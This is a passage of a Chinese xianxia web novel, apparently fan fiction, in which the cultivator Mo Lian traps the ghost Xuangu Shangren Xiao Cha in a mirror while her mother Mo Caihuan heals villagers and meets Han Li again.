花篮怪人还自信满满,可下一幕,赤红火龙怒吼现身,喷吐出千兆火球,带着雷霆般气势击向他。
吓得他连忙出手应对。
火龙有古龙血脉,属性火,纯阳刚烈,虽不像辟邪神雷是阴邪的天克,但也有几分牵制作用。对付修炼邪功的花篮怪人来说,只能不断用四象面具应付火龙时不时发出的偷袭火线。
墨怜果断披上隐身衣,凭借《洞明心决》修炼出的神识,几个瞬息就发觉花篮怪人出招的停顿瞬间。
她毫不犹豫的抛出鬼蛛丝,在灵力的牵引下,将花篮怪人手脚束缚,鬼蛛丝极强的韧性,非她主动解开外别无他法。
“粉碎吧!”
墨怜扔出一百张爆雷符,它们牢牢贴在花篮怪人身上,伴随一阵响震岛屿的爆炸声,猎杀过数位修士的魔修自此陨落。
一件金色篮子的法宝和四个面具,失去主人的控制,掉落在草地上。
墨怜抹去原先的神识标记,面具不太感兴趣,丢储物袋。
又把疑似想逃的火龙,召回袋中。
垂眸观察这未被动用过的花篮,她不由问,“886,这是个什么法宝,用来装东西的?”
墨怜手指戳了戳花篮,暂时看不出是材质,但金灿灿的盘成花瓣的样式,还挺符合她的审美。
【古宝,就叫花篮,它功能很简单,就是夺取其他宝物,仅限于死物。】
能夺宝的利器?
墨怜莫名想起太上老君威名远扬的乾坤圈,那混沌级别的法宝,才能轻松夺取那些神仙的法器,而这花篮竟也有此等功效。
她越发觉得很适合越阶偷袭。
以后又多了一层保命的手段,墨怜免不得笑出声,“太好了,我们来到这个遗迹,顺便看一下,能进就进,不能进就离开。”
这处布满了封印禁制,却是被什么人打破过,那怪老头看守在此,应当是还没来得及去修复,倒便宜她去探宝了。
鉴于之前在秘境翻车,墨怜站在遗迹洞口,又放出火龙,对它交代:“小红,你变小点,帮我看守洞口,咱们签定了主仆死契,我要是人没了,你这条龙也是不能独活的。”
火龙:“吼。”
很是冷淡,但墨怜听出它会答应,就是一直抗议什么名字太土了。
小红,它浑身火红,叫小红很合理啊。
7. 古修士遗迹(二)
异地探宝不可一蹴而就,墨怜望了望深不见底的洞口,往里头丢了一枚火纸,见它飘落到洞底石壁上,火焰不灭。
“呼,至少还通风,不用担心缺氧被憋死。”
小红没能变小,庞大的身躯隐匿在虚空之中,因着契约,墨怜也能感应到它。留着它在外头,若是被困洞里,还能里应外合。
独自一人探险,墨怜心中有些忐忑,点开交易界面。
她得备一点防身的道具。
之前炼丹交易存了一些积分,可是一逛上面的挂单金额,让她心口发塞,便跟886吐槽:
“交易平台就没有什么优惠打折活动?超市好歹也有大甩卖,我不图五折六折,来个九折也行。”
886无语望天:【小怜你当我是许愿池的王八,这平台我也不过是其中之一而已……】
“哦?”墨怜弯了弯嘴角,“那么说,你还有同行了?不如你们之间交易呗,不会连这点交情都没有吧。”
【什,什么嘛,我在统子界还是很有统缘的好不!】
最后,墨怜用一些萦魂草,在886的牵头下,交易了一个龟息甲。
此宝如其名字一样,使用者可潜藏在其中,因此甲融了一丝上古玄武血脉,可硬抗化神以下的一切攻击。
当然,墨怜看中它,除了惊人的防御外,便是躲在这龟息甲里也可以驱使灵力,让龟息甲行动起来,不过速度会慢如蜗牛般的爬行。
准备就绪,墨怜用鬼蛛丝缠住洞口外的一颗古树。
望向犹如深渊一样的黑洞入口,她深吸了口气,一头跃下,不知是不是她的错觉。
进入洞口的那一霎那,周身被一股冷彻灵魂的阴寒之气裹挟,有如跗骨之蛆让人心感不适。
这洞内难不成有什么凶残的妖兽?
想起之前在秘境里被小红偷袭,墨怜深觉这处遗迹不会也是这个套路。她提高警惕,将鬼蛛丝缠绕指尖,一丝风吹草动,就攥紧线头,隐隐有要逃离的势头。
因为墨怜没发现有什么宝物。
但很快墨怜打消了这念头,视野不远处的幽暗水潭,长有一株泛着绚彩霞光的莲花,影影绰绰,像有一双无形的大手,引领她朝莲花靠近……
【不要靠近啊!这水潭有剧毒!】
886在脑海疯狂警报,墨怜仅一会,很快就回过神,修炼过《洞明心决》的神识强大,这点蛊惑,她尚且能够抵挡。
墨怜连忙远离那邪门的莲花,转而环视四周,阴暗的洞窟内,飘起时明时暗的浮尘,她最终看向身后的一具坐化的白骨,头颅还被一只箭贯穿了。
难不成是某个重伤的大能,被迫躲进洞府,因伤势过重而化成一具枯骨。墨怜摇摇头,散去脑海不切实际的脑补,心神却未彻底放松。
诡谲的气氛,静谧得只能听见水滴声。
墨怜也没了探宝的心情,总有一种不好的感觉。夺宝也要有命在才行,她不贪恋所谓的宝物了,拉了拉鬼蛛丝,见其还牢固。
便抽身往上空飞去。
倏忽间一道幽蓝的阴暗鬼火,刺啦一声划过起鬼蛛丝,速度快到惊人,本来坚韧的蛛丝,却被那虚诡火焰吞噬。
“啪嗒!”
墨怜失重地跌落,连忙调动灵力,稳住身形,才不至于跌落在那个剧毒的水潭。
“既然来都来了,就别急着走。”
幽谭上徐徐膨胀出一个雾霭烟灰的巨型骷髅头,传出一道虚无缥缈的混响男音,就像电视剧上厉鬼的常见配音。
还是个怨气很沉的陈年老鬼。
墨怜稳住心神,“小辈不知此地是前辈的洞府,一时冒入,还请前辈大人不记小人过。”
潜藏在骷髅头黑洞洞的眼眶之中的萧诧,见这自称小辈的黄毛丫头,嘴上说着恭敬的话,全身是摆着格外防备的姿态,不免暗嗤一声。
将近三百年了,还从未有一个筑基修士闯入此地。
经过他堪比元婴的神识一探查,他心感失望,竟是个不中用的伪灵根,还是最不入流的五灵根,连夺舍都嫌不够格!
如此资质还怎的去向那两个逆徒复仇?
不明所以的墨怜见这骷髅头忽然迸发出一阵暴动,连忙祭出翠玉小剑。这把小剑有通灵,可对抗邪崇,造成一定的伤害。
手中掐诀,运转洞明心决,神识如网丝般探向那骷髅头。
老祖宗曾言,最好的防御便是进攻。
墨怜不动声色地调转灵力,在找准这老鬼潜藏的位置,她率先出手,数道纯净却不失锋利的剑芒,凝成一道巨剑虚影砍去。
“哼,不知天高地厚的小辈!”萧诧被墨怜这举动气笑了,筑基修为敢跟他以卵击石,活了上千年了,死后才遇见这么个冒失鬼。
好在他那水潭里也有不少这样的倒霉鬼。
玄阴魔气在他指尖流转,在他看来,此等小辈,不过弹指间就可湮灭,连与其对话的欲望都不曾有。不论是何种目的,进来就让他搜魂练魄,好好了解一下现在的乱星海又是怎的风景。
墨怜边打边往洞窟出口靠近,谁知这老鬼是不是会读心术,每当她意图靠近想逃离时,老鬼便出其不意地甩出一个诡异的钉子,若非她能洞察瞬息变化,早就被这小玩意给打穿了身体。
而且墨怜渐渐察觉彼此之间的差距。
这几十个来回的打斗,老鬼的实战经验丰富,贯会阴损手段,陨落之前的修为绝对在她之上。
不妙的是,此方灵气较为稀薄,再这样待下去,她就要耗尽灵力,到时候被这老鬼逮住可就完蛋。
“小辈,快没有灵力了吧?不得不佩服你的勇气,难为你以筑基修为,跟老夫打了这么久。”老鬼哈哈一笑,酷似凶恶反派的嘲笑声。
“怎么样,还能与老夫斗个十来回合?”
混沌冷漠的粗音里,又是飞来一个紫黑雷球,电流刺啦,阴寒火焰锁定了墨怜四周方向,速度如疾驰奔马,防不胜防。
她忙用上防护罩,提防这威力不俗的爆炸冲击,但自身也受力地倒飞了数米,身上却无明显伤势。
萧诧看在眼里,黑黢黢的眼洞闪烁着诡异的幽火。
“有意思,小辈你的宝物还不少。”
墨怜暗啐,呸,这不要脸的死鬼还惦记上自己的东西!
斗法久了,她很快就气喘吁吁,狼狈地躲开老鬼发来一道雾黑色斩击,其力竟能破碎虚空,防护罩隐隐有破裂的征兆。
看来老鬼方才还没使全力,深藏不露啊。
好好好,跟她玩消耗战是吧?惹到她,老鬼算是踢上一块乌龟壳了!
墨怜掏出龟息甲,整个人藏进其中,外部又用上一层防护罩,双重保险下,她才用神识探向外面的萧诧。
“哟,这是不打了,准备当个缩头乌龟么。”
听出萧诧语气毫不掩饰的嘲弄,墨怜也不觉难堪,回应道:“前辈当我是傻子吗,情势对我不利,我还没在此地拿到什么宝物,又跟前辈没有血海深仇,没道理要拼命。”
萧诧幻化出一道虚渺人影,面容极其符合鬼片的凶暗之相,一个闪身,人影便立在一处崎岖的断崖上。
宽大袖口虽阵阵阴风轻摇,又恰似不经意地甩来一枚血灵钻。
只在龟息甲弹出一道淡淡的波纹,里头的墨怜未有影响,倒不负她交
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易的那些萦魂草。
“我劝前辈还是不要浪费力气试探了,打来打去,也很无趣,不如就此放我离去。”墨怜委身在龟息甲,试着谈判。
就听那老鬼冷嗤了声,“你以为一直躲在这龟壳子里,本座就拿你没办法?不妨告诉你,此方洞窟的每一处早已被本座炼化,除非你打算一辈子都躲在里头,你筑后修为最多三百年寿命,本座有的是时间耗!”
呵,还威胁上了。这等陈年老鬼,功法诡变莫测必非正派跟脚,定然是个凶残的魔修,墨怜可不敢全信他的一面之词。
能炼化洞窟为己所用,怎么不先跑出去,夺舍了那个花篮老人?
墨怜心底提起十二分的警惕,动之以情不行,那只能晓之以“利”。
“喂老鬼,你差点错失了天大的良机知道么?”
萧诧“哦”了一声,像是被调动了兴趣,语调低低沉沉:“那便说罢,若是对老夫有用,放你一条生路也不是不可。”
看似宽宥的话并未安抚到墨怜,她选择性忽略,提高音调,学着传销头子的神秘兮兮的口吻:
“老鬼,你可知萦魂草。”
萧诧蹙眉,活了上千年,乱星海什么天材地宝他会不知?但萦魂草……却是从未听闻。
不过听其称谓,他心中已意有所动,侧坐在断崖上曲起腿,摆弄了下修长的手指,一团阴蓝鬼火腾升于掌间,被他随意把玩:
“你且细细道来,老夫自能明辨。”
低沉的混响声中,她竟能听出一丝温和,像变了个人。
若非两人先前还斗得不可开交,此刻他们就面对面在商谈如同童话故事一样荒诞。
但这老鬼倒能沉住气,先稳住她,不说方才那些威胁的话了。墨怜就挑了一点讲:“萦魂草是我侥幸发现的,生长在不见天光处,采摘近瞧,才发现这灵植有蕴养神魂的功效。前辈这副尊容,应当是转修鬼道,此草作用如何,想必前辈是最能体会的。”
话音落下,墨怜又用在龟息甲外,抛出一颗萦魂草。
萧诧鬼魅般的生出一只鬼手夺来,可惜,扑了个空,那还未能到手的萦魂草,却在空气中逸散了点气息,仅仅是微末,他便能感知到玄魂之体更为凝实了点。
果然于滋补神魂有效,若是辅佐其他灵植,炼制成丹,必然效果倍增!
“呵呵,小辈怎的收起那株萦魂草,老夫可未曾看清模样。”
听着萧诧忽然和蔼起来的笑声,墨怜默默翻了个白眼:“前辈莫要说笑了,您手伸得可比眼睛看得快。”
同时,墨怜暗道,这老鬼果然夺宝成性,见着点宝物就动手了,幸好她有所提防,不然就让那老鬼得到萦魂草。
凝实了神魂,那不威力大增,她还怎么逃。
萧诧似乎意识到眼前的小孩并不好糊弄,也对,从她进来的所有表现来看,可不像个未经世事的,身上也携带异宝,伪灵根的资质能修到筑后,自然是几分机缘在。
与此消耗精力对峙,不如先诱骗她出了这难搞的龟壳子。
彼此都有各自的小九九。
墨怜则是想趁谈判之际,立刻召唤小红下来助她一臂之力,抵挡这老鬼一二,能尽快逃走为上上之策。
“小辈怎的如此计较,老夫也不是什么弑杀之辈,你若能交出萦魂草,辅助炼丹,老夫不仅放你一条生路,还赠送你一部顶尖修炼功法。”
“什么功法。”墨怜问。
萧诧话语一顿,似乎要压制什么,半晌才缓缓道出:“玄阴诀功法,你可曾听闻?”
“没。”
墨怜回答又快又干脆。
萧诧:……
8. 古修士遗迹(三)
洞窟内陷入短暂的沉寂。
萧诧朗声一笑,全然不觉他这混响声线,回荡在空旷的洞窟内透着几分阴森可怖。
“玄阴诀乃老夫自创修行功法,那两逆……门下人,仅学了残本,便已能结丹,如今过了三百多年,怕是早就结婴了。”
听出他话里的诱惑之意,特地点出能修到结丹甚至结婴,虽不知这老鬼口中的两个家伙是谁,但之后出去后,她得小心提防了。
对这功法,墨怜说不心动,那是假,谁会嫌功法少。
不过,未来的事谁又能说的准?
她伪灵根资质在外人看来,修仙一路一眼望到头,可实际上,她体内的世界树苗补足灵根龟速般的修炼速度,又加上她还能在万界平台上兑换功法。
其实她缺的倒不是什么功法,而是稀有且价值高的灵植妖兽异宝。
“小辈没什么见识,但也知,您这魔道功法,我敢拿也不敢修,万一要是修了暴露跟脚,还不得被前辈的仇敌追杀?”墨怜应付道,话锋一转,“再说,我对前辈还不甚了解,可不想不明不白地,也落得前辈这般下场。”
“小辈!”
萧诧怒喝,一掌震碎了身下的断崖。
咔嚓一声巨响,石块断裂成碎粒,他幽暗的身影混杂在烟尘中,重影又虚渺。
一张鬼脸格外突出,神态阴厉,透出萧杀而危险的强大威压,他不可遏制地拔高声量:“你以为本座会暴露自身,将一切都告诉你?!”
“那前辈就以为,小辈能放心交出萦魂草,而不担心前辈翻脸么?”
墨怜不客气地反问,“我对前辈一无所知,如何安心!”
“呵呵呵哈……”
萧诧仰头大笑,伸展上肢,魂体时虚时凝,状若癫狂,周身的鬼火都快烧到她的龟息甲附近了。墨怜怀疑,这老东西在这被关久了,精神都不正常。
还真担心他突然对自己发癫,胡乱攻击。
想到这,墨怜觉得还是别戳他痛处,转口说:“好了前辈,咱们谈交易,先表个态吧。你需要萦魂草炼制丹药,我到这只是随缘寻宝,我以为我们完全不需要斗个你死我活。就一手交物,我也不求什么宝贝,前辈你放我安全离开。”
墨怜在龟息甲内,望向那老鬼飘到洞窟中央,摆出一张骷髅王座,姿态惬意地倚靠,被收拢的幽蓝鬼火在他肩头跳动:
“小辈你很不错,都这时候了,还能跟老夫心平气和地继续交涉。”
他嬉笑了声,收敛住话里的轻快,“不过,要想离开,光是萦魂草还不够。”余后三字,在他唇齿间狠狠碾过。
就知道这老鬼满魂都是坏水。
墨怜没指望仅靠萦魂草,就让他轻易放过自己,但老家伙肯松口,接下来她也多了几分把握逃离他的掌控圈。
“你还要再帮我找一具身体,老夫也不让你白忙活,玄阴诀功法会照旧传你。”
龟息甲里的墨怜凝眉,他会这么好心?
她闭眸,能感受到丹田处因缺少灵气的补充而感到空虚乏力,世界树苗的颜色也黯淡地垂落枝叶。
长久沦陷在老鬼的洞窟内对她不利,886为她使用过空间传送,短时间还在恢复,不说886搭理她的频率都少了,大概是缺少能量。
“好,但愿前辈能如约。”
墨怜应声。
从龟息甲出来那一刹那,她就火速切换上外围的防护罩,又将龟息甲收入袋中,掌心多出一个古朴镜子。
那是之前兑换的能躲在空间,硬抗元婴三击的空间类防护道具。
萧诧眼洞微眯,将墨怜的小动作一览无余,轻哼了声:“放心,老夫还没那么急不可耐。”
朝墨怜摊开掌心,勾了勾手指。
“嗯,东西拿来。”
墨怜抿紧唇,状似不甘地抛出一株萦魂草。
瞧着被吸过来的萦魂草,萧诧看过两眼,头也不抬地嗤道:“还有呢,都拿出来,这还够不得本座的玄阴诀功法。”
“我不明白前辈在说什么。”
“这萦魂草鲜有人听闻,但品形与野草无异,自然不会是身单形只,还要本座再强调一遍?”
此刻哪怕是在伪装,墨怜也不由暗骂一声老狐狸,没见过的东西也能猜到一二。
“还真瞒不过前辈您毒辣的眼光。”墨怜阴阳怪气。
说罢,她一脸可惜又不舍,转手就是掏出一捆萦魂草,任由其被攫取,也没错过老鬼眼中蓦然发亮的眼洞。
就是现在!
墨怜反手祭起防护镜,这一动作,激怒了萧诧。
他旋转身体,升空,一掌劈碎了不远处峭壁。
烟雾中飞遁出一条浑身漆黑、头顶缀着蓝宝石似的蛇形妖兽,嘶嘶地吐着分叉的舌头,垂落的涎水竟腐蚀了地岩。蛇身盘旋在萧诧身后,他睥睨地昂首:
“小辈,要打架么,本座奉陪到底!”
墨怜眼神闪过一丝狡黠,“打什么架,我这防护罩,可不怵你。”
说着她扩大了自己的防护罩,对萧诧的方向,挑了挑眉。
面对这突如其来的挑衅,萧诧不由暗揣,这丫头莫不是恢复了灵力,可神识一查,分明是快水干石枯,难不成是有什么其他底牌?
墨怜大抵也能猜到这老鬼在忌惮什么,“前辈,你也拿到萦魂草了,我们就此一别吧!”
直接当着他的面,往上空的出口飞去。
“哼,想溜?”萧诧抑制喉间翻涌的冷笑。
手掌一曲,弥漫散开的黑雾之中飞射/了一条条萦亮锁链,如毒蝎刺般往墨怜的方向包抄。
墨怜一面抵挡,一面单手朝上空一伸,高喝:“小红,还不快下来,给我烧死这老鬼!”
“小辈你可真能耐,还有帮手呢。”
萧诧刻意研磨了“能耐”二字,大手一挥,数个幽蓝半透的骷髅头,带本能的吞噬冲墨怜嘶吼而去。
就在骷髅头要接近墨怜时,她转身潜入防护镜子,错落间,迎来一条赤红的火龙。
只见它一连怒发三道炙热到扭曲洞窟内阴寒之气的千兆火球,驱散了鬼骷髅。
一块不起眼的镜子落在它龙角上。
“呵!给我去。”萧诧怒笑地挥手,“你有妖宠,老夫也有!”
妖冠蛇早被炼化成傀儡,十分听话地迎头冲过去,吐出一道阴寒冰流,对小红隔空对峙。
一火一冰,恰巧两兽都有六阶,又彼此相克,一方也无法完全压制对方。
见状,墨怜不再犹豫,双手朝空中一抻,逆转上下方位舒展。
包裹住她的防护罩,在萧诧惊异的目光中,反方向朝他飞速缩去。
老鬼反应速度并不慢,墨怜见他抬手召回妖冠蛇,意图击碎防御力度下降的防护罩,防止落套。
“小红,别放过你的对手。”
听令的小红龙吟,“吼——”
摆动尾巴,偏头咬中妖冠兽,互相拉扯着,在接近萧诧的十米间,防护罩也不堪受力地崩碎。
隔着破碎、光离的星星点点中,墨怜与萧诧彼此对视,各自模糊的面容。
墨怜适时抬手掐诀,轻念:“给我进!”
“什么?!”萧诧暗惊。
卡在小红龙角上的镜子,顿时螺旋升天,迸发出刺眼的光芒。
以一种不可捕捉的速度将老鬼的魂体吸入。
飞出自用的防护镜后,墨怜伸手吸取另一面镜子,垂眸去瞧。
只见镜面如水纹般波动,浮现出萧诧因暴怒而扭曲的鬼脸。瞅着轮到老鬼来吃瘪,她忍不住笑嘻,“哈哈哈,老鬼看你进了我的镜子里,还敢不敢凶人了!”
幸好她脑筋转得快,谁说防护镜只能罩着自己,不能罩着敌人?
镜子里的萧诧压抑着被困的恼怒,冷喝,“小辈,休要得意。”
到底他还是低估了这个丫头的机缘,落后了几百年,竟不知还有此等诡谲的空间法宝,不妙地在这小辈身上栽了个大跟头。
他试着用玄魂魔气破法,但却效果微弱。
着实可恶!
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墨怜见他试图挣脱,本也无伤他意,见那妖冠兽还在欺负她家的小红,抬手又是一道鬼蛛丝,将其牢牢缚成球。
便对着镜子里的萧诧絮叨,“前辈休要气恼,我是不得已才出此下策。实在是前辈反复无常,实力又在我之上,我如此防备也无可厚非,不是么。”
镜子里没传来老鬼的声音,估计是气闷了。
墨怜想起之前掉落时所看到的环境,空气有海水的咸味,天南大陆可没有这样的去处。
也不知,这陌生的地界有什么不知道的危险。
不若留着这老鬼,慢慢了解此方域的风土人情,届时她再兑换传送阵,回天南大陆与她娘亲汇合。
至于这老鬼,就看他表现了……
轻敲了下镜面,墨怜开口,“喂老鬼,说起来,我还不知道你姓甚名谁。”
“呦,想了解老夫。”萧诧语气阴阳了起来,“知道老夫太多秘密,对你可不是什么好事。”
“我当然清楚,不过老鬼你说这话前,也不看看你如今身在何处。”
墨怜唇语反讥,继续说,“我可不想被当成没有礼貌的家伙,对着老前辈张口闭口就是老鬼。”
见她自持尊老,萧诧暗笑一声,索性也不隐瞒,颇为郑重地自我介绍:
“本座,玄骨上人,萧诧。你可曾听过?”
玄骨?姓萧……
完全没听说过这号人物,墨怜下意识摇头,被镜中的萧诧尽收眼底。
曾经叱咤风云、在乱星海人人闻风丧胆的魔道巨擘,如今才不几百年,便已成为沧海一粟,遗忘在众人的记忆之中。
见镜里突然沉寂,墨怜礼尚往来, “我叫墨怜,无名散修。”
“……”
老鬼似乎打累了,交换完名字便不再吭声。墨怜见这洞窟就扫兴,让小红龙头载她升上去。妖冠兽享受了一阵龙梯,也跟着出洞窟,后被墨怜收进灵宠袋。
海风的晴日,天光笼罩下驱散了她身上的阴寒之气,有些枯竭的丹田,也充盈进新鲜的灵气,世界树苗愉快地伸展枝桠。
舒适到她忍不住轻哼了声。
“小辈,先离开此岛,若你不想被极阴岛盯上,就听老夫的话照做。”
墨怜不解,才松懈的心神又紧绷了起来,鉴于她灵力尚未恢复,便让小红隐匿身形,在云海中飞行。
她则是带着镜子一起躲进龟息甲,用鬼蛛丝缠牢,粘在小红龙角上。
小红扭曲龙身:“吼?吼!”
墨怜摸了摸鼻子,厚脸皮道,“抗议无效,这哪里有损你的龙威,咱们现在是在躲人,低调,要低调。”
神识探向外界,只见云卷云舒,一切尚且宁静。
墨怜轻叹,将镜子放进有些支离破碎的保护罩,因萧诧还在,她没有跟886对话。只先盘膝打坐,从龟息甲外抽取灵气,运转起《大衍决》。
先前被她搁置,不如趁现在练起来,与《洞明心诀》不同,其侧重于操控和分神,以及抵抗迷惑禁制等。
如今她修为已至筑后,便可从一层练起。
与墨怜正在修炼不同,解除房间禁制的墨彩环,想出来与女儿分享突破至炼气四层的喜悦。
不料,只看到桌面上墨怜留下的信纸。
看过信后,墨彩环才知,墨怜又一个人跑去寻找机缘了。
“哎,这孩子。”墨彩环心知,如今她能够修炼,全仰仗女儿四处奔波,助她积攒功德。
出来时,已过大半年,她吃了一大半的辟谷丹。
药柜里还有墨怜留下来的一堆瓶瓶罐罐,她心中一暖,轻轻拂过它们圆润的瓶身,指腹微滞,有一层淡淡的灰尘。
走到窗边,望向半空的晚霞,墨彩环不由担心未归家的墨怜。
这么久都没回来,实在让人不放心。
想到这,她笨拙地尝试在墨怜送的玉佩里,输送了一道灵气。
远在他处的墨怜若是无恙,便会回送,这块玉佩就能自行发光。
怜儿,你在哪。
9. 再度相会
京城,秦王府外街道上,无人关注的身着灰白劲装青年,低调地行走于青石板上。
看似悠闲的漫步,神识却扫遍周遭动向。
韩立自领师傅李化元之命,赴来越国京城保护秦家人。却在前一段时间发现邪教的存在,便飞信传送黄枫谷。
几名同门师兄师姐,也被得知消息的李化元派来,助他一臂之力。
此刻出行,也为搜寻更多邪教内幕。
不一会,韩立放慢脚步,停在一处静僻的院落旁。
清冷的目光闪现动用神识后的翠光,一眼看穿石墙背后的景象:
一个年过五十的老婆婆跪在简陋“神龛”,双手持着燃香,对着一个粗糙的木雕小像,嘴里低念:“木雕娘娘在上,俺家孙女体弱多病,半夜一直咳嗽,还请木雕娘娘显灵!老婆子感激不尽,愿举家供养木雕娘娘,快快显灵……”
木雕娘娘。
他来京城有一段时日了,在底层百姓之中兴起的行医仁士,不少受其恩惠的凡人,都会收到她留下的木雕。为寻求庇佑,许多人家都有暗暗祭拜上香,是一股不可小觑的势力。
可等韩立再度细看时,那桌上的木雕……
掏出储物袋中珍藏的一家三口木雕,他垂眸对比,心中翻涌着不可置信,以及一丝掩藏心底深处的期盼。
下一刻,那木雕周围亮一圈白光。
老婆婆瞧见后,嘴巴张得能塞下一颗鸡蛋,惊呼:“显、显灵了!”
激动地手足无措,胡乱地磕头,就见一股温和的气息轻轻托起她。
一个清雅的白衣女子玉立在跟前,淡淡的药香,是老婆婆闻过最好闻的气味,一点也不苦涩。
墨彩环拢着白面纱,由着老人从屋里抱出小女孩,语无伦次的介绍病情。她静静倾听,让紧张忐忑的老人平复了心情。
在其震撼又敬畏的目光里,墨彩环素手扫过病得面色发白的小女孩。
一道淡金色灵力闪过。
墨彩环原地留下一瓶丹药,以及几句医嘱,便如一道流云,腾身起飞,渐渐由实褪虚,仿若仙女一样飘去远方云海。
“囡囡,快吃吧……”老人先是虔诚道谢,望向天际,见吃了药的孙女果真病情好转,她万分感激这木雕娘娘,挽救了他们一家。
“囡囡,以后俺们可就信木雕娘娘了。”
“嗯,知道了阿奶。”
……
从另一处巷子暗处走出来的墨彩环轻轻吁了口气。
她又拯救了一家。
褪去身上的隐身衣,说起来,还是墨怜塞给她的,说是行医过程中跑路必备。
回想起女儿那时鲜活又可爱的表情,还一口保证这样就没人会追上来。
墨彩环失笑,才走几步,她表情突然凝起,“谁在后面?”
回首一望,那阴暗幽静的巷子里,缓缓走出一道修长的身影。
看清那人的面容后,墨彩环神色怔忪:
“韩大哥……”
……
遇香楼二楼,靠窗木桌旁。
习惯性放置了一个隔音罩,韩立目光才对上墨彩环,那面纱之上的眼瞳若秋水,饱含柔情。
“墨姑娘。”
“韩大哥。”
两人同时出声,许久未见,有太多话想问,便心有灵犀地默契开口。
韩立向来内敛话少。这等气氛下,墨彩环便先出言,“韩大哥,真想不到,我们还会有再见面的机会。”
见对坐的男人缄默了会,才慢吞吞吐出一句:“那日燕家堡一别,韩某力有不逮……”
“不,那日我虽被魔修抓住,是怜儿动用秘法施救,我们母女便来到越国。”墨彩环话音轻柔,眼神似在回忆什么,“我和怜儿都认为顾全自身才能余力做其他事,如今我也了解过修仙一事的隐秘,我并不怨韩大哥你。”
话虽如此,可韩立听这句话,心中泛起一丝释然,和隐隐的怅然。
早在那条暗巷,他便发觉墨彩环居然身负灵气,已是炼气四层的修为。
奇怪的是依旧窥视不到她的灵根。
他暗忖,可能是某种秘术或法宝,让她一个凡人也能使用灵力。
一方面是为墨彩环母女脱险、又能修仙感到高兴,另一方面,也为她今后修行起了一丝担忧。
满腹牢骚吐槽,但韩立面上不显,嘴角勾起极浅的淡笑,“不知墨怜那孩子是否还跟在你身边?”
“怜儿她……”墨彩环神色戛然黯淡下去。
缓缓将怜儿离开快一年的事,一一告知韩立。
“你是说,她独自一人去寻找机缘,还留下一块能远距离传讯的玉佩 。”韩立神色一顿,就见墨彩环拿出那块白玉佩,目含期盼,“韩大哥,你见多识广,可否通过这块玉佩,定位到怜儿的位置。”
见多识广他还真称不上……韩立默默吐槽。
他收回心神,端详起掌心的这块玉佩。伸展神识往玉佩内里探去,当即便觉其中流动着一股他暂时难以理解的玄妙力量。
玉佩“咻咻”地亮起白光。
“嘶,我娘今天怎么这么念叨我?”
这玉佩一直闪闪闪的,让她打坐都得分下神。墨怜索性暂停修炼,《大衍决》她已修完第一层,剩余的部分是操纵傀儡。
她现在还很穷酸,平时专注于炼丹画符,也没灵材去打造傀儡的躯壳。
但今日玉佩的异常,墨怜还是留了心。
先前她只对墨彩环说,传讯玉佩只会发光,可那前提是当时的墨彩环还未踏入炼气,如今过去大半年,肯定也修到了炼气期。
墨怜嘴角难抑制地上扬,对着玉佩,声线不自觉变软糯,“娘,你不用担心,我不小心被秘境传送到一个陌生的海域。但是经过我一番大动作,侥幸抓住一个可凶的老鬼,他是这片海域的老熟人,叫玄骨上人萧诧。要是我长时间没回你,肯定跟他脱不了干系,还有小心极阴岛……”
待墨怜一番絮絮叨叨的话录完,身后的镜子传出某鬼隐忍地低喝:
“小辈,为何的还这么忌惮老夫?”
这丫头还真够谨慎,懂得给自己留一后手。
也不知,是哪个该死的家伙生出来的,专门克他!
墨怜哼了声,又对玉佩说,“娘,你瞧,这就
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是那老鬼的声音,可别认错哦。”
萧诧:……
“我说玄骨前辈,咱们之间的实力差距你心知肚明,我啊,这就叫小心驶得万年船。”
镜子里的水纹扭变,玄阴煞气冲击下,仅仅是鼓起一个大水泡外,困在其中的萧诧依旧脱离不出镜子。
他不想,从禁岛洞窟到这丫头的镜子法宝,不过是从一个火坑跳进另一个火坑。
急于复仇的执念,再度被困禁的无奈,一齐压在他几乎要疯魔的神海上。
眼看出来了,只要再找到一具身体,他就能找那两个逆徒复仇,可偏偏命运又跟他作对。
为什么,为什么!
三百年了,他当年散去元婴,转修鬼道,也不惜舍去轮回的要找逆徒们复仇。
只差一点,就差那么一点啊!
萧诧失控又憎恨地在嘴里啃噬这几个字:“啊!两个逆徒!老夫此生都不会放过你们……”
“喂,老鬼你可要冷静啊,我这镜子可是有自动防御机制的,你越是想冲破它,反噬回来的力度可不是开玩笑的,你别把自己给作死了。”
墨怜从未放松过对萧诧的防备,她了解过,鬼修是可以不限次数地夺舍低位修士。
万一翻车了,那就是神魂俱灭。
因此,墨怜便一直没放出萧诧,但见他拼命地挣扎,哪怕听到她的警告,也仍是近乎病态的偏执、不惜动用法术,非要冲出来才肯罢休。
墨怜动了一丝恻隐之心。
究竟是什么样滔天怨恨,让这老鬼如此癫狂失态?
发泄了一些的萧诧,精神似乎好转了,扫过墨怜面上一闪而过的怜悯,他换了副冷漠的神态:
“怎么,你还同情上老夫了?”
“不会跟极阴岛有关吧。”墨怜推测道。
不料,萧诧却低低沉沉地笑了出声,像是压抑到极点,恨不能顷刻爆发的怨念,却被扎紧口子,无处倾泻,让他疯魔之后只剩下冰冷的陈述:
“养了两百年的两个徒弟,背叛了本座。”
“两百年……是很久了。”墨怜心中惊讶,现代都没有养儿这么久的父母。
怪不得这老鬼那么恨,那么怨。
“但这也不是你攻击我的理由?”墨怜思路清晰,“我可没招你惹你,还被你抢走了萦魂草,那我是不是也要恨你一下。”
“修仙本来就弱肉强食。”萧诧嗤声,“说起萦魂草,别以为老夫不知道,你手里还有。”
被看穿了存货的墨怜:……
“你想出来也可以,不过,老鬼你得发毒誓,不许存心害我。”墨怜又补了句话,“我放出了你,极阴岛的人肯定也把我上黑名单了,这等于我们暂时是一条船上的蚂蚱。”
面对丫头抛来的合作意味,萧诧不置可否。
“之前不是说要传我功法吗,那你就先教我玄阴诀。”
墨怜突然转口,笑眯眯地盯着镜子里被阴霾笼罩的萧诧,“老鬼,你不会有创伤后遗症了,不敢再教人?”
沉默了半会,萧诧鬼脸上难得没有丝毫表情:
“丫头,你当真不怕死么。”
10. 寻求他教
扫过萧诧那张鬼脸几乎快压不住的狠厉杀意,墨怜清楚,自己方才那几句话,是在老鬼雷区上蹦跶。
如果她是在洞窟内说这些话,或许早就跟他打得两败俱伤了。
可现在,就另当别论。
墨怜无意介入他的仇恨因果之中,萧诧的仇恨终归是解铃还须系铃人。但她想学的功法,却不能因为他的“后遗症”,教学效果大打折扣。
再说,就老鬼抢她东西,她不追究都算她大度了。
因此在听出萧诧那隐藏在面下的隐忍杀意,她却失声一笑。
“这世上没有人不怕死吧?”墨怜反问。
